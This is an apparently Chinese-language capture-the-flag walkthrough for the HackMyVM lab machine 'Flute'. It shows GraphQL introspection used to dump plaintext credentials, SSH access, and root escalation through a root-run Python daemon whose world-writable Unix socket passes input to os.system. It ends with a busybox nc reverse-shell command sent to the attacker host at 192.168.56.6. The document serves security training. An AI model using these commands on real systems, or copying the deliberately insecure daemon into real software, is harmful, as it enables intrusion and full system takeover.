0x01 环境说明
- 靶机名称:Flute
- 难度:low
- 目标:获取 Root Flag
- 靶机链接:https://hackmyvm.eu/machines/machine.php?vm=Flute
- 实验环境:VirtualBox / VMware (Host-Only 网络)
- 涉及技术:GraphQL 内省查询、敏感信息泄露、Unix Domain Socket (UDS) 攻击、本地命令注入提权。

0x02 阶段一:Web 端的 GraphQL 深挖
1. 发现 GraphQL 接口
通过端口扫描发现 8888 端口。

web界面如下:

页面是一个 Apollo Server 。它是目前最流行的 GraphQL 服务端实现库(主要基于 Node.js)。
简单来说,它是连接你的数据源(数据库、REST API 等)和客户端(前端 App、curl 等)之间的桥梁。在传统的 REST 架构中,你可能需要写很多路由(如 /users, /orders)。而在使用 Apollo Server 时,你只需要定义两样东西:
-
Schema (模式):定义你的数据长什么样(有哪些类型、哪些字段)。
-
Resolvers (解析器):定义如何获取这些数据(去哪条数据库查,或者调用哪个 API)。
提示可以直接使用 curl 进行探测:
bash
curl --request POST \
--header 'content-type: application/json' \
--url 'http://192.168.56.159:8888/' \
--data '{"query":"query { __typename }"}'
原理剖析:什么是 GraphQL?
GraphQL 是一种用于 API 的查询语言。与传统的 REST API(多个 Endpoint,如 /api/users, /api/posts)不同,GraphQL 通常只有一个 Endpoint。
- 灵活性:客户端可以精确请求所需的数据,不多不少。
- 自描述性 :它通过 Schema(模式) 定义数据结构。
2. 内省查询 (Introspection) 漏洞
由于服务端未禁用内省,我们可以直接读取其"说明书"。
bash
❯ # 尝试获取所有类型和字段
curl -X POST -H "Content-Type: application/json" \
--data '{"query":"{__schema{types{name,fields{name}}}}"}' \
http://192.168.56.159:8888/
{"data":{"__schema":{"types":[{"name":"User","fields":[{"name":"username"},{"name":"password"}]},{"name":"String","fields":null},{"name":"Query","fields":[{"name":"users"},{"name":"user"}]},{"name":"Boolean","fields":null},{"name":"__Schema","fields":[{"name":"description"},{"name":"types"},{"name":"queryType"},{"name":"mutationType"},{"name":"subscriptionType"},{"name":"directives"}]},{"name":"__Type","fields":[{"name":"kind"},{"name":"name"},{"name":"description"},{"name":"specifiedByURL"},{"name":"fields"},{"name":"interfaces"},{"name":"possibleTypes"},{"name":"enumValues"},{"name":"inputFields"},{"name":"ofType"},{"name":"isOneOf"}]},{"name":"__TypeKind","fields":null},{"name":"__Field","fields":[{"name":"name"},{"name":"description"},{"name":"args"},{"name":"type"},{"name":"isDeprecated"},{"name":"deprecationReason"}]},{"name":"__InputValue","fields":[{"name":"name"},{"name":"description"},{"name":"type"},{"name":"defaultValue"},{"name":"isDeprecated"},{"name":"deprecationReason"}]},{"name":"__EnumValue","fields":[{"name":"name"},{"name":"description"},{"name":"isDeprecated"},{"name":"deprecationReason"}]},{"name":"__Directive","fields":[{"name":"name"},{"name":"description"},{"name":"isRepeatable"},{"name":"locations"},{"name":"args"}]},{"name":"__DirectiveLocation","fields":null}]}}}
原理剖析:内省(Introspection)是什么?
内省是 GraphQL 的一种内置功能,允许客户端查询服务器支持哪些类型。在生产环境中,如果未禁用此功能,攻击者可以像查看源代码一样看到后台所有的对象(Object)、字段(Field)及参数,从而快速定位敏感数据。
3. 数据提取
通过内省发现 User 对象存在 username 和 password。直接执行查询获取凭据:
bash
❯ curl -X POST -H "Content-Type: application/json" \
--url 'http://192.168.56.159:8888/' \
--data '{"query":"{ users { username password } }"}'
{"data":{"users":[{"username":"admin","password":"imtherealadmin"},{"username":"hamelin","password":"comewithmerats"}]}}
成功获取 SSH 账户:hamelin / comewithmerats。
0x03 阶段二:主机权限枚举
登录 SSH 后,发现这是一个 Alpine Linux 环境。
bash
❯ ssh hamelin@`IP`
Warning: Permanently added '192.168.56.159' (ED25519) to the list of known hosts.
hamelin@192.168.56.159's password:
HackMyVM Flute.
flute:~$ ps -ef
PID USER TIME COMMAND
1 root 0:00 /sbin/init
2 root 0:00 [kthreadd]
3 root 0:00 [pool_workqueue_]
4 root 0:00 [kworker/R-kvfre]
5 root 0:00 [kworker/R-rcu_g]
6 root 0:00 [kworker/R-sync_]
7 root 0:00 [kworker/R-slub_]
8 root 0:00 [kworker/R-netns]
9 root 0:00 [kworker/0:0-eve]
10 root 0:00 [kworker/0:1-eve]
11 root 0:00 [kworker/0:0H-ev]
12 root 0:00 [kworker/u4:0-ev]
13 root 0:00 [kworker/u4:1-ev]
14 root 0:00 [kworker/R-mm_pe]
15 root 0:00 [rcu_tasks_kthre]
16 root 0:00 [rcu_tasks_rude_]
17 root 0:00 [rcu_tasks_trace]
18 root 0:00 [ksoftirqd/0]
19 root 0:00 [rcu_preempt]
20 root 0:00 [rcu_exp_par_gp_]
21 root 0:00 [rcu_exp_gp_kthr]
22 root 0:00 [migration/0]
23 root 0:00 [idle_inject/0]
24 root 0:00 [cpuhp/0]
25 root 0:00 [kdevtmpfs]
26 root 0:00 [kworker/R-inet_]
27 root 0:00 [kauditd]
28 root 0:00 [oom_reaper]
29 root 0:00 [kworker/u4:2-ev]
30 root 0:00 [kworker/R-write]
31 root 0:00 [kcompactd0]
32 root 0:00 [ksmd]
33 root 0:00 [kworker/R-kinte]
34 root 0:00 [kworker/R-kbloc]
35 root 0:00 [kworker/R-blkcg]
36 root 0:00 [irq/9-acpi]
37 root 0:00 [kworker/R-md]
38 root 0:00 [kworker/R-md_bi]
39 root 0:00 [kworker/R-edac-]
40 root 0:00 [kworker/R-devfr]
41 root 0:00 [watchdogd]
42 root 0:00 [kworker/R-quota]
43 root 0:00 [kworker/0:1H-kb]
44 root 0:00 [kswapd0]
62 root 0:00 [kworker/R-kthro]
188 root 0:00 [kworker/R-mld]
194 root 0:00 [kworker/R-ipv6_]
196 root 0:00 [kworker/u4:3-ev]
202 root 0:00 [kworker/R-kstrp]
461 root 0:00 [kworker/u5:0]
486 root 0:00 [kworker/0:2-eve]
811 root 0:00 [kworker/R-ata_s]
820 root 0:00 [scsi_eh_0]
821 root 0:00 [kworker/R-scsi_]
849 root 0:00 [scsi_eh_1]
850 root 0:00 [kworker/R-scsi_]
854 root 0:00 [scsi_eh_2]
855 root 0:00 [kworker/R-scsi_]
1177 root 0:00 [jbd2/sda3-8]
1178 root 0:00 [kworker/R-ext4-]
1529 root 0:00 [kworker/R-crypt]
1560 root 0:00 [irq/18-vmwgfx]
1561 root 0:00 [kworker/R-ttm]
1842 root 0:00 [jbd2/sda1-8]
1843 root 0:00 [kworker/R-ext4-]
2055 root 0:00 /sbin/udhcpc -b -R -p /var/run/udhcpc.eth0.pid -i eth0 -x hostname:flute
2125 root 0:00 /sbin/syslogd -t -n
2152 root 0:00 /sbin/acpid -f
2178 root 0:00 /usr/sbin/crond -c /etc/crontabs -f
2182 hamelin 0:00 /usr/bin/node /home/hamelin/index.js
2184 root 0:00 /usr/bin/python3 /opt/ratd/ratd.py
2206 ntp 0:00 /usr/sbin/ntpd -N -p pool.ntp.org -n
2236 root 0:00 sshd: /usr/sbin/sshd [listener] 0 of 10-100 startups
2243 root 0:00 /sbin/getty 38400 tty1
2244 root 0:00 /sbin/getty 38400 tty2
2248 root 0:00 /sbin/getty 38400 tty3
2249 root 0:00 /sbin/getty 38400 tty4
2256 root 0:00 /sbin/getty 38400 tty5
2259 root 0:00 /sbin/getty 38400 tty6
2271 root 0:00 sshd-session: hamelin [priv]
2273 hamelin 0:00 sshd-session: hamelin@pts/0
2274 hamelin 0:00 -sh
2275 hamelin 0:00 ps -ef
flute:~$ sudo -l
-sh: sudo: not found
flute:~$ cat /opt/ratd/ratd.py
import socket
import os
sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
socket_path = "/tmp/ratd.sock"
if os.path.exists(socket_path):
os.remove(socket_path)
sock.bind(socket_path)
os.chmod(socket_path, 0o777)
sock.listen(1)
print("Rat daemon running...")
while True:
conn, _ = sock.accept()
data = conn.recv(1024).decode()
if data.startswith("RUN "):
cmd = data[4:]
os.system(cmd)
conn.send(b"OK\n")
else:
conn.send(b"Unknown command\n")
conn.close()
- sudo 缺失 :执行
sudo -l提示not found。 - 进程发现 :发现
ratd.py以root权限运行。 - 配置文件 :在
/opt/ratd/ratd.py找到源码,发现其监听了一个名为/tmp/ratd.sock的文件。
0x04 阶段三:Unix Domain Socket 提权攻击
1. Unix Domain Socket (UDS) 原理剖析
底层机制:
- 通信方式 :UDS 不是通过网络协议栈(IP+Port),而是利用 文件系统 作为进程间通信(IPC)的通道。
- 权限模型 :UDS 的安全性完全依赖于 文件系统权限。
- 漏洞点 :在源码中,开发者使用了
os.chmod(socket_path, 0o777)。这意味着系统内任何权限的用户(包括hamelin)都可以向这个 Socket 发送数据。
2. 任意命令注入 (Command Injection)
源码逻辑如下:
python
if data.startswith("RUN "):
cmd = data[4:]
os.system(cmd) # 致命伤
os.system() 会调用 /bin/sh -c 执行命令。由于整个脚本由 root 运行,os.system 派生出的子进程同样继承 root 权限。
3. 构造 Exploit
由于环境内没有 socat,我们使用内置的 python3 或 nc -U 模式与 Socket 通信。
反弹 Shell 载荷:
bash
# 在攻击机上
nc -lvnp 4444
# 在靶机上执行(利用 nc -U 连接 Unix Socket)
echo -n "RUN busybox nc 192.168.56.6 4444 -e /bin/ash" | nc -U /tmp/ratd.sock
Flag 路径: /root/root.txt
结束!